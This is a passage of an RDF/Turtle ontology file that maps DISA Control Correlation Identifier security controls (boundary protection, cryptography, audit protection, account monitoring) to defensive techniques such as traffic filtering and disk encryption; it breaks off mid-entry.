d3f:CCI-001096_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-001096" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system limits the use of resources by priority." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:LocalFilePermissions,
        d3f:SystemConfigurationPermissions ;
    d3f:published "2009-09-21T00:00:00"^^xsd:dateTime .

d3f:CCI-001100_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-001100" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system prevents public access into the organization's internal networks except as appropriately mediated by managed interfaces employing boundary protection devices." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:published "2009-09-21T00:00:00"^^xsd:dateTime .

d3f:CCI-001109_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-001109" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system at managed interfaces denies network communications traffic by default and allows network communications traffic by exception (i.e., deny all, permit by exception)." ;
    d3f:exactly d3f:InboundTrafficFiltering,
        d3f:OutboundTrafficFiltering ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:published "2009-09-21T00:00:00"^^xsd:dateTime .

d3f:CCI-001111_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-001111" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system prevents remote devices that have established a non-remote connection with the system from communicating outside of that communications path with resources in external networks." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:InboundTrafficFiltering,
        d3f:OutboundTrafficFiltering ;
    d3f:published "2009-09-21T00:00:00"^^xsd:dateTime .

d3f:CCI-001115_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-001115" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system, at managed interfaces, denies network traffic and audits internal users (or malicious code) posing a threat to external information systems." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:InboundTrafficFiltering,
        d3f:OutboundTrafficFiltering ;
    d3f:published "2009-09-21T00:00:00"^^xsd:dateTime .

d3f:CCI-001117_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-001117" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system checks incoming communications to ensure the communications are coming from an authorized source and routed to an authorized destination." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:InboundTrafficFiltering,
        d3f:OutboundTrafficFiltering ;
    d3f:published "2009-09-21T00:00:00"^^xsd:dateTime .

d3f:CCI-001118_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-001118" ;
    d3f:broader d3f:NetworkIsolation ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system implements host-based boundary protection mechanisms for servers, workstations, and mobile devices." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:published "2009-09-21T00:00:00"^^xsd:dateTime .

d3f:CCI-001124_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-001124" ;
    d3f:broader d3f:BroadcastDomainIsolation ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system prevents discovery of specific system components composing a managed interface." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:published "2009-09-21T00:00:00"^^xsd:dateTime .

d3f:CCI-001125_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-001125" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system enforces adherence to protocol format." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:InboundTrafficFiltering,
        d3f:OutboundTrafficFiltering ;
    d3f:published "2009-09-21T00:00:00"^^xsd:dateTime .

d3f:CCI-001127_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-001127" ;
    d3f:broader d3f:EncryptedTunnels ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system protects the integrity of transmitted information." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:published "2009-09-21T00:00:00"^^xsd:dateTime .

d3f:CCI-001128_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-001128" ;
    d3f:broader d3f:EncryptedTunnels ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The organization employs cryptographic mechanisms to recognize changes to information during transmission unless otherwise protected by alternative physical measures." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:published "2009-09-21T00:00:00"^^xsd:dateTime .

d3f:CCI-001133_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-001133" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system terminates the network connection associated with a communications session at the end of the session or after an organization-defined time period of inactivity." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:SessionDurationAnalysis ;
    d3f:published "2009-09-21T00:00:00"^^xsd:dateTime .

d3f:CCI-001144_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-001144" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system implements required cryptographic protections using cryptographic modules that comply with applicable federal laws, Executive Orders, directives, policies, regulations, standards, and guidance." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:DiskEncryption,
        d3f:FileEncryption ;
    d3f:published "2009-09-21T00:00:00"^^xsd:dateTime .

d3f:CCI-001145_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-001145" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The organization employs, at a minimum, FIPS-validated cryptography to protect unclassified information." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:DiskEncryption,
        d3f:FileEncryption ;
    d3f:published "2009-09-21T00:00:00"^^xsd:dateTime .

d3f:CCI-001146_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-001146" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The organization employs NSA-approved cryptography to protect classified information." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:DiskEncryption,
        d3f:FileEncryption ;
    d3f:published "2009-09-21T00:00:00"^^xsd:dateTime .

d3f:CCI-001147_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-001147" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The organization employs, at a minimum, FIPS-validated cryptography to protect information when such information must be separated from individuals who have the necessary clearances yet lack the necessary access approvals." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:DiskEncryption,
        d3f:FileEncryption ;
    d3f:published "2009-09-21T00:00:00"^^xsd:dateTime .

d3f:CCI-001150_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-001150" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system prohibits remote activation of collaborative computing devices, excluding the organization-defined exceptions where remote activation is to be allowed." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:RemoteTerminalSessionDetection ;
    d3f:published "2009-09-21T00:00:00"^^xsd:dateTime .

d3f:CCI-001166_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-001166" ;
    d3f:broader d3f:DynamicAnalysis,
        d3f:EmulatedFileAnalysis,
        d3f:FileContentRules ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system identifies organization-defined unacceptable mobile code." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:published "2009-09-21T00:00:00"^^xsd:dateTime .

d3f:CCI-001169_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-001169" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system prevents the download of organization-defined unacceptable mobile code." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:ExecutableDenylisting ;
    d3f:published "2009-09-21T00:00:00"^^xsd:dateTime .

d3f:CCI-001170_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-001170" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system prevents the automatic execution of mobile code in organization-defined software applications." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:ExecutableDenylisting ;
    d3f:published "2009-09-21T00:00:00"^^xsd:dateTime .

d3f:CCI-001178_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-001178" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system provides additional data origin authentication artifacts along with the authoritative name resolution data the system returns in response to external name/address resolution queries." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:DomainTrustPolicy ;
    d3f:published "2009-09-21T00:00:00"^^xsd:dateTime .

d3f:CCI-001185_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-001185" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system invalidates session identifiers upon user logout or other session termination." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:AuthenticationCacheInvalidation ;
    d3f:published "2009-09-21T00:00:00"^^xsd:dateTime .

d3f:CCI-001199_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-001199" ;
    d3f:broader d3f:DiskEncryption,
        d3f:FileContentRules,
        d3f:FileEncryption,
        d3f:FileHashing,
        d3f:LocalFilePermissions ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system protects the confidentiality and/or integrity of organization-defined information at rest." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:published "2009-09-21T00:00:00"^^xsd:dateTime .

d3f:CCI-001200_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-001200" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The organization employs cryptographic mechanisms to prevent unauthorized disclosure of information at rest unless otherwise protected by alternative physical measures." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:DiskEncryption,
        d3f:FileEncryption ;
    d3f:published "2009-09-21T00:00:00"^^xsd:dateTime .

d3f:CCI-001210_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-001210" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system, at organization-defined information system components, loads and executes the operating environment from hardware-enforced, read-only media." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:DriverLoadIntegrityChecking ;
    d3f:published "2009-09-21T00:00:00"^^xsd:dateTime .

d3f:CCI-001211_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-001211" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system, at organization-defined information system components, loads and executes organization-defined applications from hardware-enforced, read-only media." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:ApplicationConfigurationHardening ;
    d3f:published "2009-09-21T00:00:00"^^xsd:dateTime .

d3f:CCI-001233_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-001233" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The organization employs automated mechanisms on an organization-defined frequency to determine the state of information system components with regard to flaw remediation." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:SoftwareUpdate ;
    d3f:published "2009-09-22T00:00:00"^^xsd:dateTime .

d3f:CCI-001237_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-001237" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The organization employs automated patch management tools to facilitate flaw remediation to organization-defined information system components." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:SoftwareUpdate ;
    d3f:published "2009-09-22T00:00:00"^^xsd:dateTime .

d3f:CCI-001239_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-001239" ;
    d3f:broader d3f:FileAnalysis,
        d3f:NetworkTrafficAnalysis,
        d3f:PlatformMonitoring,
        d3f:ProcessAnalysis ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The organization employs malicious code protection mechanisms at information system entry and exit points to detect and eradicate malicious code transported by electronic mail, electronic mail attachments, web accesses, removable media, or other common means or inserted through the exploitation of information system vulnerabilities." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:published "2009-09-22T00:00:00"^^xsd:dateTime .

d3f:CCI-001242_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-001242" ;
    d3f:broader d3f:DynamicAnalysis,
        d3f:EmulatedFileAnalysis,
        d3f:FileContentRules ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The organization configures malicious code protection mechanisms to perform real-time scans of files from external sources at endpoints as the files are downloaded, opened, or executed in accordance with organizational security policy." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:published "2009-09-22T00:00:00"^^xsd:dateTime .

d3f:CCI-001262_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-001262" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system monitors inbound and outbound communications for unusual or unauthorized activities or conditions." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:InboundTrafficFiltering,
        d3f:OutboundTrafficFiltering ;
    d3f:published "2009-09-22T00:00:00"^^xsd:dateTime .

d3f:CCI-001297_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-001297" ;
    d3f:broader d3f:DriverLoadIntegrityChecking,
        d3f:FileHashing,
        d3f:PointerAuthentication,
        d3f:TPMBootIntegrity ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system detects unauthorized changes to software and information." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:published "2009-09-22T00:00:00"^^xsd:dateTime .

d3f:CCI-001305_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-001305" ;
    d3f:broader d3f:MessageAuthentication,
        d3f:SenderMTAReputationAnalysis,
        d3f:SenderReputationAnalysis,
        d3f:TransferAgentAuthentication ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The organization employs spam protection mechanisms at information system entry and exit points to detect and take action on unsolicited messages transported by electronic mail, electronic mail attachments, web accesses, removable media, or other common means." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:published "2009-09-22T00:00:00"^^xsd:dateTime .

d3f:CCI-001310_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-001310" ;
    d3f:broader d3f:DatabaseQueryStringAnalysis ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system checks the validity of organization-defined inputs." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:published "2009-09-22T00:00:00"^^xsd:dateTime .

d3f:CCI-001350_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-001350" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system implements cryptographic mechanisms to protect the integrity of audit information." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:FileEncryption ;
    d3f:published "2009-09-22T00:00:00"^^xsd:dateTime .

d3f:CCI-001352_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-001352" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The organization protects the audit records of non-local accesses to privileged accounts and the execution of privileged functions." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:published "2009-09-22T00:00:00"^^xsd:dateTime .

d3f:CCI-001356_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-001356" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The organization monitors for atypical usage of information system accounts." ;
    d3f:exactly d3f:AuthenticationEventThresholding,
        d3f:AuthorizationEventThresholding ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:published "2009-09-22T00:00:00"^^xsd:dateTime .

d3f:CCI-001368_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-001368" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system enforces approved authorizations for controlling the flow of information within the system based on organization-defined information flow control policies." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:InboundTrafficFiltering,
        d3f:OutboundTrafficFiltering ;
    d3f:published "2009-09-22T00:00:00"^^xsd:dateTime .

d3f:CCI-001372_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-001372" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system, when transferring information between different security domains, implements organization-defined security policy filters requiring fully enumerated formats that restrict data structure and content." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:InboundTrafficFiltering,
        d3f:OutboundTrafficFiltering ;
    d3f:published "2009-09-22T00:00:00"^^xsd:dateTime .

d3f:CCI-001373_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-001373" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system, when transferring information between different security domains, examines the information for the presence of organization-defined unsanctioned information." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:InboundTrafficFiltering,
        d3f:OutboundTrafficFiltering ;
    d3f:published "2009-09-22T00:00:00"^^xsd:dateTime .

d3f:CCI-001374_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-001374" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system, when transferring information between different security domains, prohibits the transfer of organization-defined unsanctioned information in accordance with the organization-defined security policy." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:InboundTrafficFiltering,
        d3f:OutboundTrafficFiltering ;
    d3f:published "2009-09-22T00:00:00"^^xsd:dateTime .

d3f:CCI-001376_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-001376" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system uniquely identifies source domains for information transfer." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:DomainTrustPolicy ;
    d3f:published "2009-09-22T00:00:00"^^xsd:dateTime .

d3f:CCI-001377_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-001377" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system uniquely authenticates source domains for information transfer." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:DomainTrustPolicy ;
    d3f:published "2009-09-22T00:00:00"^^xsd:dateTime .

d3f:CCI-001399_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-001399" ;
    d3f:broader d3f:UserAccountPermissions ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system supports and maintains the binding of organization-defined security attributes to information in storage." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:published "2009-09-22T00:00:00"^^xsd:dateTime .

d3f:CCI-001400_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-001400" ;
    d3f:broader d3f:UserAccountPermissions ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system supports and maintains the binding of organization-defined security attributes to information in process." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:published "2009-09-22T00:00:00"^^xsd:dateTime .

d3f:CCI-001401_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-001401" ;
    d3f:broader d3f:UserAccountPermissions ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system supports and maintains the binding of organization-defined security attributes to information in transmission." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:published "2009-09-22T00:00:00"^^xsd:dateTime .

d3f:CCI-001403_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-001403" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system automatically audits account modification actions." ;
    d3f:exactly d3f:DomainAccountMonitoring ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:published "2009-09-24T00:00:00"^^xsd:dateTime .

d3f:CCI-001404_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-001404" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system automatically audits account disabling actions." ;
    d3f:exactly d3f:DomainAccountMonitoring ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:published "2009-09-24T00:00:00"^^xsd:dateTime .

d3f:CCI-001405_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-001405" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system automatically audits account removal actions." ;
    d3f:exactly d3f:DomainAccountMonitoring ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:published "2009-09-24T00:00:00"^^xsd:dateTime .

d3f:CCI-001414_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-001414" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system enforces approved authorizations for controlling the flow of information between interconnected systems based on organization-defined information flow control policies." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:InboundTrafficFiltering,
        d3f:OutboundTrafficFiltering ;
    d3f:published "2009-09-24T00:00:00"^^xsd:dateTime .

d3f:CCI-001424_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-001424" ;
    d3f:broader d3f:UserAccountPermissions ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system dynamically associates security attributes with organization-defined subjects in accordance with organization-defined security policies as information is created and combined." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:published "2009-09-25T00:00:00"^^xsd:dateTime .

d3f:CCI-001425_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-001425" ;
    d3f:broader d3f:UserAccountPermissions ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system provides authorized individuals (or processes acting on behalf of individuals) the capability to change the value of associated security attributes." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:published "2009-09-25T00:00:00"^^xsd:dateTime .

d3f:CCI-001426_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-001426" ;
    d3f:broader d3f:UserAccountPermissions ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system maintains the binding of security attributes to information with sufficient assurance that the information--attribute association can be used as the basis for automated policy actions." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:published "2009-09-25T00:00:00"^^xsd:dateTime .

d3f:CCI-001427_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-001427" ;
    d3f:broader d3f:UserAccountPermissions ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system allows authorized users to associate security attributes with information." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:published "2009-09-25T00:00:00"^^xsd:dateTime .

d3f:CCI-001428_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-001428" ;
    d3f:broader d3f:UserAccountPermissions ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system displays security attributes in human-readable form on each object that the system transmits to output devices to identify organization-identified special dissemination, handling, or distribution instructions using organization-identified human-readable, standard naming conventions." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:published "2009-09-25T00:00:00"^^xsd:dateTime .

d3f:CCI-001436_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-001436" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The organization disables organization-defined networking protocols within the information system deemed to be nonsecure except for explicitly identified components in support of specific operational requirements." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:InboundTrafficFiltering,
        d3f:OutboundTrafficFiltering ;
    d3f:published "2009-09-25T00:00:00"^^xsd:dateTime .

d3f:CCI-001452_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-001452" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system enforces the organization-defined time period during which the limit of consecutive invalid access attempts by a user is counted." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:AccountLocking ;
    d3f:published "2009-05-25T00:00:00"^^xsd:dateTime .

d3f:CCI-001453_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-001453" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system implements cryptographic mechanisms to protect the integrity of remote access sessions." ;
    d3f:exactly d3f:EncryptedTunnels ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:published "2009-09-29T00:00:00"^^xsd:dateTime .

d3f:CCI-001454_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-001454" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The organization ensures that remote sessions for accessing an organization-defined list of security functions and security-relevant information are audited." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:RemoteTerminalSessionDetection ;
    d3f:published "2009-09-29T00:00:00"^^xsd:dateTime .

d3f:CCI-001493_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-001493" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system protects audit tools from unauthorized access." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:published "2009-09-29T00:00:00"^^xsd:dateTime .

d3f:CCI-001494_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-001494" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system protects audit tools from unauthorized modification." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:PlatformHardening,
        d3f:SystemConfigurationPermissions ;
    d3f:published "2009-09-29T00:00:00"^^xsd:dateTime .

d3f:CCI-001495_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-001495" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system protects audit tools from unauthorized deletion." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:PlatformHardening ;
    d3f:published "2009-09-29T00:00:00"^^xsd:dateTime .

d3f:CCI-001496_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-001496" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system implements cryptographic mechanisms to protect the integrity of audit tools." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:FileEncryption ;
    d3f:published "2009-09-29T00:00:00"^^xsd:dateTime .

d3f:CCI-001499_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-001499" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The organization limits privileges to change software resident within software libraries." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:SystemConfigurationPermissions,
        d3f:UserAccountPermissions ;
    d3f:published "2009-09-29T00:00:00"^^xsd:dateTime .

d3f:CCI-001555_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-001555" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system uniquely identifies destination domains for information transfer." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:DomainTrustPolicy ;
    d3f:published "2010-05-11T00:00:00"^^xsd:dateTime .

d3f:CCI-001556_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-001556" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system uniquely authenticates destination domains for information transfer." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:DomainTrustPolicy ;
    d3f:published "2010-05-11T00:00:00"^^xsd:dateTime .

d3f:CCI-001557_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-001557" ;
    d3f:broader d3f:NetworkTrafficAnalysis ;
    d3f:contributor d3f:DISA_FSO ;
